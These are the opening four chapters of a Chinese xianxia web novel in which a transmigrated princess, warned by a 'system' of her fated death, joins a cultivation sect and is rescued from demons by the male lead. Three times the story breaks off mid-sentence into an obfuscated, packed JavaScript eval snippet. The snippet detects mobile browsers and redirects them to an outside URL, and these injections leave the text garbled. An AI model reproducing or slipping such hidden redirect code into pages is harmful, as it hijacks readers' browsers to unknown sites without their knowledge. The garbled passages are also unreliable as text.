《始乱终弃后男主黑化了》 1. 穿书 星隐云稀,月泻流华。 恰值深夜,卫国王宫本也应该陷入沉睡,然而福泉宫中却依然是灯火通明,人影纷杂,急切的脚步声,说话声,间或还有少女急促的咳嗽声,叠加在一起,揉杂成一片嘈杂。 福泉宫是卫王膝下爱女玉华公主的寝宫,这位小公主乃先王后所出,向来受尽卫王宠爱,因此她一生病,整个太医院都被惊动,灯影惶惶,如同魑魅鬼影。 “药呢?”大宫女急声催促。 “来了来了。”宫女端着托盘快步走进来,偶尔有人抬眸去看她的脸,只看得到半角对方低着的下颔,面目并不起眼,甚至流露出几分陌生来。 她还没来得及出声提醒,对方就已经走到了公主床帐前,却没有把药递给大宫女,反而一抖袖子,略显甜腻的香调掺入空气中,无声无息地扩散开来,宫女们生出困意,不过一瞬,满殿的人就皆数倒了下去。 宫女的唇角得意地翘起半边,那张脸尖尖,在明亮的烛火下恍惚间生出非人的视感,毛绒绒的,仿佛披了一身人类皮囊的妖鬼。 她指甲伸长,轻而易举就刺破了华美的帷幔。 然而出现在她视野里的并非沉睡的少女公主,而是一道雪亮的剑光。 刺啦—— 帷幔被撕下来,发出清脆的声响。 一直隐藏在帷幔之后的人影露出真面目,竟然是个容色清美的少年人,极年轻的模样,高挑又纤细,漆黑的长发流泻在他雪一般干净的衣衫上,像是墨泼白宣,写意孤高,有种难以形容的明丽与殊美。 他握着一把长剑,瞳眸清冷,微抬起,淡淡注视着潜入宫中的妖魔。 对方见状不好,腰身一扭就想要往外逃,半边身体还是被剑光伤到,流出朱红的血色来,却只来得及逃出两步,就被那把莲青色的长剑刺中,发出尖锐的呼痛,重重地钉在宫殿墙壁之上。 所有的事情不过眨眼间发生,很快,守在宫殿外的人鱼贯而入,垂眸将昏迷的宫女都抬了出去,对面前的一切视若无睹,沉默着离开。 辰瑄上前,清淡地将剑拔出,上面串着的宫女身体渐渐缩水变小,原本合身的衣裳空空荡荡。他拎着那只变回原型的杂毛狐狸,回到偏殿复命。 卫王以及清玄道人都守在这里,一看到辰瑄出现,清玄道人瞬间了然,“看来是捉到了。” 辰瑄晃了晃手上的这只狐狸,不知道是不是受伤的缘故,对方状态很是萎靡,半死不活的耷拉着眼,但被拎到清玄道人跟前时还是情不自禁地开始发抖,完全不懂凡间为什么会出现这么强大的人族。 凡间独立于九州五岛之外,设立有屏障阻隔来往,这里灵气稀薄,并不适合修行,所以少有修行之人到来。 “是只修炼成妖的狐狸,”辰瑄问,“师兄想要如何处置它?” 清玄道人没有立刻回答,而是看向旁边的卫王,“王上以为如何呢?” 卫王咬牙切齿,“它潜入王宫,想要趁机对玉华下手,自然是要剥了这只狐狸的皮才能解恨。” 说到这里,卫王站起身,对着清玄道人和辰瑄郑重行过一礼,“还未谢过两位仙师,若不是两位出手相助,玉华必定会出事。” 辰瑄侧身,及时避过这一礼。 清玄道人:“我们出手也不过只是解一时之危,王上可做出了决定?” 卫王沉默,半晌,才涩声说,“玉华是我最疼爱的孩子,仙师可否容我问过她的意见?” 清玄道人没有多加为难,“这是自然。” ** “……所以,你是这本仙侠虐恋的炮灰白月光,将在和男主相恋后走向死亡,成为男女主感情道路上的一大拦路石,不过你不要怕,只要你答应我,我就可以帮你避开死亡结局。” 殷稚鱼:“……” 听起来真的好像是诈骗广告啊。 她沉默了一会,“不好意思你说这是本什么书?” 殷稚鱼满脸都写着懵然,距离她胎穿到这个世界已经过去了十五年,现在突然砸下来一个系统,告诉她原来她不是穿越,而是穿书。 穿书也就算了,但这竟然不是古言,而是仙侠文。 殷稚鱼有一肚子的槽想要吐。 “是的呢,”系统热情询问,“所以你要答应我吗?” 殷稚鱼:“等我思考一下。” 她理了理剧情。 首先,这是本仙侠文的世界。 男主辰瑄,本是昆仑墟帝子,却因为被魔族偷袭而受伤,陷入沉睡,神魂出逃,依附在一具刚断气的婴儿身上,被路过的乾虚派长老凌霄道尊捡回,收为弟子。 他根骨极好,悟性天资无一不是上上选的,因为凌霄道尊与乾虚派宗主师父同辈,辈分高,所以辰瑄虽然年纪小,但却被称为小师叔,随着他成长为温和清冷的少年人,少年天骄,声名远扬,这句小师叔叫的人也越来越多。 而女主空桑伊,是空桑神族的小公主,隐姓埋名外出历练,与辰瑄结识,惊艳于他的容貌,因此对辰瑄一见钟情,可惜辰瑄看起来好接近,实则却冷冰冰的,让她结结实实撞了好几次南墙。 空桑伊茫然不解,直到知晓辰瑄曾有一段感情,对方是他师兄的弟子,被师兄师姐宠爱的小师妹,却阴差阳错死在他的手上。 而殷稚鱼,就是那个倒霉蛋小师妹。 也就是俗称的白月光。 但是活着的白月光比较稀罕,加上她不是女主,作者不可能让她活着来破坏男女主感情,因此大笔一挥,把她给写死了。 殷稚鱼:“……”笑不出来。 宫女早就被她找借口遣了出去,房间里只剩下殷稚鱼一个人,她盘腿坐着,沉吟了一会,觉得还是命重要,遂敲了敲系统。 系统冒了出来,“宿主,你决定要和我签约了吗?” 殷稚鱼抿了下唇,“嗯。” 她抬眸,系统存在于她的脑海里,并没有实体,所以殷稚鱼只能看到一团空气,女孩嗓音放得更轻,“所以,我要怎么做?” 系统刚要回答,忽然宫殿门被扣响,传来宫女的禀报声,“殿下,王上传您过去。” “知道了,”殷稚鱼起身,暂时中断对话,“我这就过去。” 虽然是卫王叫殷稚鱼过去,但宫殿里却多出一位,殷稚鱼看到清玄道人,略有意外,却没有直接去问,规规矩矩地走到卫王面前,“父王。” “玉华,”卫王看着殷稚鱼的脸,话哽了又哽,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235482|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是深吸一口气,“这位仙师有话想和你说。” 殷稚鱼:“什么话?” 她知晓清玄道人和辰瑄的存在,但并没有和他们见过面,此前殷稚鱼身体每况愈下,气息奄奄,卫王无法,只能使用了先祖留下的一纸符箓,求得传说中的仙师出手相助。 但他们到来时,殷稚鱼还在昏迷,错过了见面。 “在下乾虚派清玄道人,由我来解释吧。”清玄道人拱手,笑眯眯地看向殷稚鱼,年少的公主站在宽敞明亮的宫殿内,仿佛披着瑰然春光踏步而来,浅金的日光碎在她的长发上,漏下斑斓的光影。 深受卫王宠爱的小公主生了一张人畜无害的脸,瞳眸轮廓微圆柔和,不笑也含着三分柔软的笑意,像是明净海水里浸泡着的,价值连城的雪白珍珠,散发着洁净而又柔润的光泽来。 清玄道人温声,“玉华殿下,经过检查之后,我们发现你的身体里种下了婆诃般若花,已经与你的身体融为一体,无法取出。” ——婆诃般若。 是传说中的神物,据古籍记载,它生长在光阴间隙,是一种十分神奇的宝物,但是因为关于它的记载太少,且这个光阴间隙太过模糊,所以许多想要寻找它的人都是空手而归,没想到会在这里见到。 更糟糕的是,婆诃般若已经彻底与殷稚鱼的身体融合,除非死亡,否则绝不可能取出。 婆诃般若会吸纳外界的灵气进入殷稚鱼的身体,改善她的体质,而它的气息外泄,吸引了人间的妖物进入卫国王宫,伺机想要吞吃殷稚鱼的血肉,借此提升自己的修为。 殷稚鱼:“……”她听懂了。 这不就是唐僧肉吗? 然而更惨的是,殷稚鱼本身没有灵根,无法修行,而身体里的婆诃般若花让她能够使用灵气,但她归根到底,还是凡人。 凡人肉身脆弱,可以容纳的灵气是有上限的,凡间灵气稀少,因此婆诃般若花吸纳灵气的速度很慢,然而经过七八年的储存,也已经到了极限。 也就是说,如果殷稚鱼不和清玄道人他们离开,不修行术法淬炼肉身,提升灵气容纳量的话,她的身体迟早会被灵气撑爆。 清玄道人正色,“婆诃般若花不是凡物,不能留在凡间,所以在下想要玉华殿下拜入我的门下,乾虚派是九州五岛的三宗之一,行事光明磊落,玉华殿下若入乾虚派的话,我们保证,一定努力帮你解决婆诃般若花的问题。” 殷稚鱼没急着说话。 她能感觉到,清玄道人,还有一旁卫王的目光都落在自己的身上,等着她的回答。 “班班,”卫王念出她的小名,眸中忍不住流露出些许慈爱温和之色,“无论你做出什么样的决定,父王都会支持你的。” 殷稚鱼的母亲是卫王的青梅竹马,两人从小一起长大,感情甚笃,称得上鹣鲽情深,只是先王后诞下双生子后身体一直不怎么好,没多久就去世了,卫王悲恸之余,对她留下的孩子越发看重。 只是祸不单行,没过几年,双生子之中的妹妹也意外夭亡了,只剩下殷稚鱼,卫王将对先王后与小女儿的感情全部倾注在她身上,她所住的福泉宫甚至比卫王的寝宫要更加华丽精致,足以看出卫王对她独一无二的宠爱。 2. 妖物 宫殿里阒静无声。 龙涎香静静燃烧着,香气温醇悠远,柔和而又绵长。 殷稚鱼:“此事事关重大,父王能否让我好好想一想?” 卫王下意识地去看清玄道人,对方捋了捋衣冠,袖子一抖,颇有几分旷世独立的气派,“当然。” 殷稚鱼舒出一口气,行礼告辞,快步离开。 等回到暂住的宫殿,只剩下自己一个人的时候,殷稚鱼才轻声问,“系统,这就是原著里我拜入乾虚派的原因吗?” “是的宿主,”系统的机械音偏冰冷,没什么感情,“你这具身体本来没有修行资质,结果阴差阳错,婆诃般若与你融合,让你可以使用灵气,你也有了修行术法的资格。” 系统顿了顿,继续说,“但是肉身可以不断淬炼增强,但你实际上依然是个凡人,最直接的后果,就是你的寿数并不会增强。” 殷稚鱼沉吟。 之前没有达成共识,系统只告诉了她剧情大概,而按照它和清玄道人的说法来看,就是她得到了一张修行体验卡。 测试服和正式服还是有差别的。 殷稚鱼成功被坑。 她托着脸发愁,清玄道人只告诉她婆诃般若花的存在,其余的并没有多提,可能还是心有顾忌,担心她听完坏处后直接拒绝。 毕竟拜入乾虚派最多也只能寿归正寝,还不如继续留在凡间,做她受尽宠爱无有不应的卫国公主呢。 “宿主不必担心,”系统说,“只要宿主答应做任务,那么我们将会替你塑造灵根。” 殷稚鱼微顿。 就算她对九州五岛并不了解,也清楚给一个没有灵根的凡人植入灵根的凡人的难度有多大,也就是说,系统身后的力量不简单。 她垂眸,思索了一会,然后展颜,“好。” “我答应。” 既然决定了与系统合作,殷稚鱼挺直身体,“所以,我要怎么做?” “原著的结局是上古魔神复生,辰瑄献祭己身平息乱局,而空桑伊也因为这场动乱而牺牲。” 殷稚鱼眨眨眼,“所以,你是想让我帮助男女主避开这场死局吗?” 她觉得有点难度。 系统:“不。” “我们需要未来轨迹不发生变化,既定的结局不能改变。” 殷稚鱼茫然,“那你找我干什么?” 系统:“宿主知道蝴蝶效应吗,任何一点微小的偏离都可能会引起恐怖的变化,如果你没有按照原著剧情前往乾虚派的话,那么原著的剧情就会发展不下去,辰瑄和空桑伊可能不会相遇。” 殷稚鱼明白了,她沉默了一会,“合着我还得死一次是吧。” 原著的结局她可记得清清楚楚。 白月光被辰瑄杀死,正文里她寥寥无几的出场都是在辰瑄或者其他师兄师姐的回忆里。 “是的呢,”系统安慰,“但是那不是真的死亡,我们会为宿主准备一具可以修行的新躯壳。” 殷稚鱼:“……”你是会安慰人的。 合着贼船已经上了,而且殷稚鱼权衡了一下,发现她除了答应似乎别无办法。 那不如赌一把。 少女线条柔和的眸尾微微下垂,纤密如同蝶羽的睫毛也跟着垂下,密密软软,像是春日里繁茂生长的草叶,瞳仁饱满黑亮,显得很圆又很大,有点像是刚出生的幼猫,软而乖巧。 日光透过薄透的桃花纸斜入宫殿,落在那一架绘着洛河女神的屏风上,隐约勾勒出屏风上美人绰约的轮廓,光影又被筛过一层,隐隐绰绰,她轻声道,“我知道了。” 很冒险的赌局。 将自己的生死寄托在一个突然出现不知底细的系统身上,但是很有意思。 殷稚鱼问,“所以我要怎么做?” 系统将剩下的剧情都传输给了殷稚鱼。 殷稚鱼缓了缓,这才发现不对劲。 “正文要在百年后才开始,”她音量提了提,捂住额头,“关于百年前的事情根本没有详细描述,所以你给我的剧情有什么用?!” 系统清了清嗓子,“宿主可以换个角度思考,没有详写就代表宿主可以自由发挥,你只有两个任务。” “让辰瑄爱上你。” “然后,死在他的手上。” 殷稚鱼:好草率的任务。 让辰瑄爱上她,这个任务太空了,殷稚鱼没有谈过恋爱,根本不知道怎么攻略男人。 而且让对方爱上她又要主动死在他手上,听上去略渣。 殷稚鱼从来不存在的良心深受谴责。 她也没去问系统要怎么做,主要和系统交流了一通后,她就发现了系统有点废物。 指望不上,还不如指望自己。 殷稚鱼从美人榻上起身,宫女都被她遣了出去,她随便找了个人问,“你知道父王请回来的仙师住在哪里吗?” 宫女摇头。 怕引起妖物的警惕,所以清玄道人和辰瑄的存在被卫王刻意瞒下了,寻常的宫女根本不知道。 自从先王后过世后,卫王无心女色,所以后宫只有寥寥几位美人,大片的宫殿都是空着的,但是殷稚鱼估量着卫王应该不会让他们住在那里。 福泉宫有可能,但钓鱼的计划已经结束,潜藏在王宫的妖物已经被揪出来了,辰瑄居住在那里的可能性不大。 好在没多久,殷稚鱼就寻到一位被卫王拨去照顾清玄道人和辰瑄的宫女,对方领着她走过去。 两人居住的宫殿似乎颇为偏僻,越走越荒凉,路过的人也越来越少。 宫墙斑驳着剥离了原本华贵端重的色彩,随意生长的草木倒在地上。 殷稚鱼停下脚步。 她下意识地觉得不对。 “殿下,”带路的宫女停下来,低声催促,“两位仙师就住在前面,已经距离不远了。” 殷稚鱼干笑,“我突然想起来和父王说好今天中午一起用膳,就先不去了。” 她提着裙裾,不等宫女说话就飞速转身往外跑。 春日的裙衫轻薄而又柔软,樱草色的小衫搭配下裙,广袖是最近卫国王都流行的款式,刻意做得大而柔软,跑动时盈满鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235483|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胀的风,有些累赘。 然而殷稚鱼顾不上这些,她听见自己急促的脚步声中又叠加了一重脚步声,越来越近。 “殿下,”宫女阴森森的声音在后面响起,“您不是要去寻两位仙师吗?奴婢这就带你过去啊。” 殷稚鱼没回复。 她跑得心跳剧烈跳动,脑海里只有一个想法。 天杀的,为什么王宫里还有妖物啊。 这越来越尖锐的声音,已经脱离了人类的范畴,像是野雉,又像是吱吱叫唤的老鼠,听得人生理上不适。 它似乎并不怕殷稚鱼跑出去,不紧不慢地追上来,游刃有余,脖子伸得老长,长的怪异,音色透出一种渗人的甜蜜来。 “殿下,奴婢失职,这就带你去见两位仙师。” 殷稚鱼干脆利落地往右边一滚,避开妖物抓过来的手。 那只手白得过分,泛着淡淡的青色,隐约可以看出皮肤僵硬,似乎早已死去,而非人的妖物披着一张人皮,伪装成宫女,在此刻露出真面目。 她滚得灰头土脸,裙衫上沾了大片的尘土,却来不及清理,急急地爬起来。 “殿下,”身后的声音仿佛催命符,夹杂着破风声,“您为什么要跑?” 系统的尖叫声也在脑海里响起,“宿主,小心!” 而在那只青白的手即将触碰到殷稚鱼的长发时,一把长剑刺来,穿过它的手腕。 妖物捂住手腕上的血洞,痛呼出声。 有能打的人来了。 殷稚鱼提着的心微松,泄掉那口气之后,剧烈跑动的后果立刻上来了,她膝盖一软,差点生动上演一出扑街。 身后伸出修长雪白的手,稳稳地扶住她。 耳畔少年嗓音温柔清澈,“你没事吧?” 殷稚鱼喘息急促,艰难地摇了摇头。 她微微抬头,从殷稚鱼这个角度看过去,能看见少年精致的半张脸,不愧是原著认证的绝世美貌,辰瑄的容貌极美,是她生平仅见的大美人。 如同九尾狐狐尾般浓密蓬松的黑发用雪白绸带束好,漆色的睫毛上落着点滴的光点,染成一种明丽而又神圣的淡金,浅琥珀色的瞳眸色调浅淡而又温和,鼻梁高挺,肤色雪白,是惊心动魄的,如同神话般的传奇美貌。 他抿起唇,只是礼貌地扶了下就松开,手也只落在她的手臂上,辰瑄没有看殷稚鱼,注意力全在不远处的老鼠精上,眉微蹙,手一招佩剑就飞了回来,落回他的手里。 “竟然还有漏网之鱼。”他咬字很轻,很慢,音色却极为悦耳,有种花落溪涧,浮冰初融的淡与凉。 老鼠精一眼就看出自己遇上硬茬了,捂着受伤的手腕转身就要溜,但它重蹈了前辈的覆辙,还没走出几步就被辰瑄一剑毙命。 上前检查老鼠精确实已经断气之后,辰瑄抬手,将老鼠精的尸首收起来,少年收起长剑,转身向殷稚鱼走去,“玉华殿下,你没事吧?” 那双如同晨曦般美丽的浅琥珀色眸子温软地注视着她,透出些许关切。 不愧是原著男主。 好强。 3. 决定 直到一切结束,殷稚鱼心里仍然残留着些许惊悸,攥到僵硬的手指微微放松,她这才发现自己都没注意手指都因为用力过度而麻木得失去力气。 叮—— 一把被打磨得锋利雪亮的匕首掉在地上,辰瑄低头看去,略有些讶然。 殷稚鱼身上带了武器,看样子如果老鼠精真的触碰到她的话,那么她就会抓住机会反抗。 只是人类和妖物的战斗力还是有差距的,殷稚鱼更是清楚自己只有一次机会,所以没有轻举妄动。 殷稚鱼缓了缓,将匕首捡起来,收好,她弯了弯眉眼,“多谢仙师出手。” 辰瑄语调柔和,“无妨,殿下不必道谢。” 殷稚鱼警惕地转头,四处张望,自从出了老鼠精那一遭,她就有些草木皆兵,少女公主默默往辰瑄走近了几步,“能否麻烦仙师送我回去?” 她好奇望着辰瑄,系统口中的原著男主,她必须要攻略的目标。 对方神色温雅,雪白衣衫如同冬日弥散的雪雾,有种朦朦胧胧的洁净清澈感,眉眼生的极好,透出一股笔墨难描的艷丽清冷。 辰瑄微微颔首,即便殷稚鱼没有提出这个要求,他也会主动开口的。 毕竟清玄道人来到凡间就是为了殷稚鱼,面前的小公主很有可能会成为他的小师侄,那么辰瑄不介意多加照拂。 他应下后,女孩立刻小跑到他身后,小心翼翼地攥住他的衣角,辰瑄微顿,偏头看过去,对方朝他做了个祈祷的手势,他猜测她可能是被老鼠精的那一遭给吓到了,加上殷稚鱼很小心地没有突破安全界限,所以短暂地考虑之后,辰瑄没有拒绝她。 他猜测有一点失误。 ——殷稚鱼虽然最开始被老鼠精给吓到了,但她本来胆子就大,惊惧之后,占据内心更加浓烈的情绪是不甘。 她太弱小了,所以在遇到老鼠精的时候只能逃跑,只能费尽心思地计划反杀。 婆诃般若花是传说中的神物,功效神奇,但迄今为止它除了给她带来麻烦之后没有发挥其他作用。 殷稚鱼下定了决心。 一身狼狈的玉华公主出现在宫女面前时,遍寻不到人的宫女都被吓坏了,一堆人拥簇着殷稚鱼去洗漱,就连辰瑄也被客气地请求留下。 殷稚鱼拒绝了请太医的建议,再三强调自己没事,沐浴更衣重新梳妆之后,她掀开帘子,冲辰瑄一笑,“劳烦仙师等待了。” 辰瑄脾气一直很好,对此并没有表达出不耐来,“没事。” 少女公主定定地注视着他,视线微微下移,落在他腰间的长剑上,忽然灿然一笑,“能否麻烦仙师带我去寻清玄道人,我已经做好决定了。” 辰瑄指尖微敲剑柄,从容起身,“可以。” 殷稚鱼的答案,当然就是答应。 她既然已经做出决定,想要使自己变得强大,那么不会再反悔,清玄道人乐见其成,玉华公主身体里的婆诃般若花事关重大,她自愿跟着他们离开自然最好。 修行之人不能在凡间久留,何况他们这次出来就已经够久了,清玄道人很快就向卫王提出了告辞的请求,卫王虽然不舍,想要留殷稚鱼多待几天,但是怕耽误女儿的身体,踟蹰斟酌之下,还是没有再提这件事。 他派出一队卫兵,亲自护送殷稚鱼前往九州五岛。 卫国距离凡间与九州五岛的屏障还有一段不远的距离,而凡间灵气稀薄,清玄道人无法动用赶路的法宝,只能步行。 卫王翻出一架华丽的马车,里面空间宽敞,别说三个人了,就算再来两个人也绰绰有余。 而卫兵护着这架马车,一路往屏障急驰。 清玄道人坦然地坐在马车里,他不是那些非要端着仙人架子,让殷稚鱼坐在马车里自己耗费灵气跟上的人,因此理直气壮地坐在舒服的软垫上,辰瑄原本想着在外面的架子上和车夫挤挤就算了,却被他这位不靠谱的师兄硬扯进来。 少年倚在外侧,静静看着师兄给新鲜出炉的小师侄科普修行的基本规则。 能够修行之人都生有灵根,无论天赋好坏,都能引灵气入体,而殷稚鱼情况特殊,婆诃般若在一定程度上代替了灵根,而且因为它是神物,所以效果比一般的灵根要强的多。 “凡间灵气稀薄,所以婆诃般若花吸纳灵气的速度较慢,但九州五岛不同,灵气是凡间的百倍,所以如果不先淬炼己身的话,在进入九州五岛的那一刻,你就会被灵气挤爆。” 清玄道人严肃说。 殷稚鱼:“……”她可太命苦了。 合着去九州五岛还是个危险事件。 少女沉默了几秒钟,自从决定要拜入清玄道人的门下后,她就从善如流地改了口,“所以还请师尊指导我,我要怎么做?” 一般的修士进阶,可以分为九个境界。 引气辟府凝丹,这是修行的基础境界,修为在此阶段的修士,也可以称其为入凡境。 而后是融合灵寂逍遥,这三个境界更高,大部分宗门的长老修为都在此境界,可以称为化灵境。 再往上的境界,则是普通人难以攀登的,修行千年万年的大能才能达到的天人境,通幽入圣生灭,尤其是生灭境,九州五岛目前无人能够达到。 所谓生灭,就是超脱轮回,独立生死之外,是真正翻云覆雨,一个念头就能影响九州五岛的存在。 而距离现今最近的,有记载的生灭境大能,是千年前的魔神与紫薇帝君,只是二人陨落之后,九州五岛再也没有生灭境的修士。 清玄道人讲到这里,忽然一笑,“其实还有一人可能达到了生灭境,只是并没有具体记载,所以无法确定。” “那是我们乾虚派的剑主云璃,神剑山河的主人,真正一剑风姿倾倒无数修士的绝世天骄。” “她陨落于千年前,与紫薇帝君一起,与魔神同归于尽,为苍生大义献祭己身。” 清玄道人语带惋惜,“自从云璃剑主陨落之后,山河再也没有认过主,乾虚派剑主之位至今已空悬千年。” 原著里也提过云璃。 因为紫薇帝君是上任昆仑墟之主,当之无愧的神族领袖,他在与上古魔神对战之前就做好了准备,留下一颗种子交由昆仑墟照料,那就是昆仑墟下任帝子,即辰瑄,亦可以称之为神瑄。 辰瑄是他以人类之身历练转世后的名字,而他单字一个瑄字,没有姓氏。 清玄道人给殷稚鱼科普,当然不是为了给她讲故事,而是教她如何去感应身体里的灵气,并且调用它。 容姿胜雪的少年偏了下头,墨发随之散落,自他的肩头泼至臂弯,嗓音很轻,“这是已经悟了?” 清玄道人看着闭目感应的殷稚鱼,颇有些欣慰,“稚鱼的悟性确实不错。” 他吞下剩下的惋惜。 婆诃般若花吸纳灵气进入殷稚鱼身体的同时,也在悄无声息地改善她的体质,将那些杂质排出,她的血肉越发纯净,对于妖魔的吸引力也就越强。 可惜,她或许能够发挥出修士的实力,寿岁却没办法像其他修士一样延长,终究只是一个凡人。 不过九州五岛那么大,或许能够解决这个问题呢。 清玄道人不愿现在就定死殷稚鱼的未来,那太残忍了,她不只是婆诃般若花的容器,而是一个活生生的人。 殷稚鱼没想这么多。 她只是闭上眼,将全部心神都放在身体里,一点点地调动出体内的灵气。 她的尝试一开始自然是失败的,让一个从来没有接触过修行的人使用灵气,就像是让一个习惯右手写字的人用左手写字,笔迹歪七扭八根本无法辨认。 然而殷稚鱼确实很聪明,很快就掌握到要领,她略有些生涩的调整手法,凡间的灵气确实稀薄,因此婆诃般若花那么多年辛辛苦苦日夜不辍地吸纳外界的灵气,也只攒下一点。 薄弱而又虚无的灵气出现在她指尖,只是一瞬就消散了。 殷稚鱼挫败地鼓了鼓腮帮子。 十几年公主生活顺风顺水,她基本没有遇到什么困难,卫王宠爱她,卫王后宫的夫人也不会刻意与一个公主为难,所以这是殷稚鱼第一次失败。 “稚鱼不必心急,”清玄道人倒是心态良好,“你刚开始自然不会太顺利,只要熟悉了就好。” 殷稚鱼嗯了声。 从卫国赶到九州五岛要花两天一夜的时间,而卫王派出护送之人时就强调过,首要之事是保证玉华公主的安全,所以赶路速度并不快。 马车行驶时难免会有些颠簸,即便是官道也不好走,清玄道人取出一张符箓,贴在马车上,马车立刻就平稳了下来。 殷稚鱼的目光落在那张符箓上,略带好奇。 清玄道人注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235484|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她的目光落点,“只是一张基础符箓而已。” “等稚鱼能够熟练掌握灵气之后,就可以选择修行的方向。” 修士可以根据修行的术法分类,最常见的类型有剑修刀修与法修乐修之类的,剑走偏锋的也有,例如鬼修蛊修之类的。 清玄道人:“乾虚派以剑法出名,若要我来推荐的话,当然是修剑最好。” 不仅是因为乾虚派擅长剑法,更因为剑修对肉身的淬炼提升虽然没有体修那么明显,但也相当强悍。 殷稚鱼不置可否。 她花了一个下午的时间学会熟练的调用灵气,而随着她练习次数的不断增加,原本横冲直撞只能勉强调用的灵气也逐渐得心应手,只是殷稚鱼体内的灵气也被耗用一空,只剩下微末。 她暂时选择休息,让婆诃般若也恢复一下,不好过分压榨。 晚上,一行人在驿站休息,卫王怕阵仗太大引起不怀好意之人的注意,所以将整支队伍伪装成商行。 修为高深的修道者可以维持容貌不变,清玄道人是乾虚派长老,虽然年纪比殷稚鱼和辰瑄两人大了几百岁,但是光从外表看却是容貌清俊的青年,驿站的小二看这一行人气势不凡也不敢怠慢,忙将一行人迎进去。 他们要了驿站里最好的三间客房,然而这间驿站位于卫国边境,素来偏僻,少有人至。 这么快的赶路速度,要归功于清玄道人,他以符箓为队伍加持,因此一天之内就从卫国王都到了边境。 殷稚鱼努力了一下午,原本想要晚上好好休息,然而当小二将他们点的饭食端上来的时候,女孩尝了一筷子,心如止水,觉得自己也不是很饿。 殷稚鱼默默地将筷子放下,将盘子推向清玄道人,十分的尊师重道,语气诚恳得不能再诚恳。 “师尊请。” 清玄道人没碰,随口道,“我现在的修为不用进食。” 身为殷稚鱼的师尊,清玄道人对于自己新收的小弟子分外慈爱,又将盘子推了回去,“稚鱼多用一些,你今天尝试修行,消耗颇大,要好好补充体力。” 殷稚鱼:“……”不用跟她客气。 她举着筷子,严肃地思考她现在大小也算个修道者,所以画饼充饥的成功率有多高。 “师兄,”辰瑄无奈地瞥了眼清玄道人,一眼就看出了了他逗小姑娘的坏心思,少年从袖子里摸出一个热腾腾的油纸包,轻声说,“这是卫宫准备的。” “殷师侄刚开始可能不太适应外面,如果吃不下的话可以吃这个。” 殷稚鱼接过油纸包,拆开,芥子袋里的时间是不流动的,因此糕点放进去的时候是热的,但拿出来的时候还是热的,她咬着软糯的点心,笑眼微微弯起,“多谢小师叔。” 顿了下,她补充说,“可以喊我稚鱼,不用那么客气的。” 辰瑄微微一笑,还是没改称呼,“我知道了,殷师侄。” 殷稚鱼没有多说,她看过原著,知道辰瑄虽然性情温和,但也很有原则,和其他人都保持着一定的距离。 被小师弟戳破自己的小玩笑,清玄道人也没有计较,将一枚芥子袋递到殷稚鱼手边,“稚鱼,这是卫王陛下给你准备的。” “芥子袋要用灵气才能打开,至于里面有什么,你可以回去看看。” 殷稚鱼咽下最后一口点心,将芥子袋收起来,点了下头,“我知晓了,多谢师尊。” 然而晚餐的问题解决了,房间的问题却不好解决。 房间的陈设与驿站的环境十分相配,即便他们要的是最好的房间,但是殷稚鱼当了十几年炊金馔玉的卫国公主,卫王宠爱她,她的吃穿用度无一不精。 芥子袋里倒是准备齐全,卫王恨不得将整个私库都搬进去,然而即便里面有舒适的被褥,殷稚鱼也不会铺,她草率地将一床被子摊开,垫在床上,慢慢地打了个哈欠。 殷稚鱼点燃灯烛,窝在床铺上,翻看清玄道人下午递给她的那本入门剑法。 乾虚派主修剑法,因此清玄道人也是先让她尝试修剑。 如果殷稚鱼没有剑道天赋的话,那么再转修其他也没问题。 “宿主,”系统冒出来,肃然起敬,“你要熬夜看书吗?” 殷稚鱼有点困,但是现在也睡不着。 她翻过一页,手背抵住下颔,“我时间也不多。” 4. 剑气 系统警告过她。 即便是入道修行,淬炼己身,但肉身的强化速度跟不上婆诃般若花汲取灵气的速度,因此她的身体迟早会被撑爆。 而距系统估计,最晚也就二十岁。 而她今年十五岁,距离二十岁还有五年。 殷稚鱼深感人生艰难,同时觉得自己可能拿错了剧本,这种被逼着修行不抓紧时间就完蛋的设定明明是某点男主的流行人设,而她只是一个平平无奇的炮灰,却天降挫折,把她给砸进老大一个坑里了。 ——她本想做条咸鱼,当个啃老躺平的快乐小废物,奈何天道太瞎QAQ 殷稚鱼静下心来,注意力全放在手中的剑谱上。 她分明是第一次接触到剑谱,却并不觉得那些文字晦涩难懂,反而看得逐渐入迷。 蜡烛逐渐燃至尽头,融化成一堆柔软的白色液体,好似落下的乳白泪水。 深夜,所有人都已入眠。 忽然驿站中爆发出一道凌厉的气势,驿站里的其他人即将被惊醒之时,柔和的灵气淌过,抚过他们,紧绷的神经渐渐放松,再次陷入沉沉的睡眠之中。 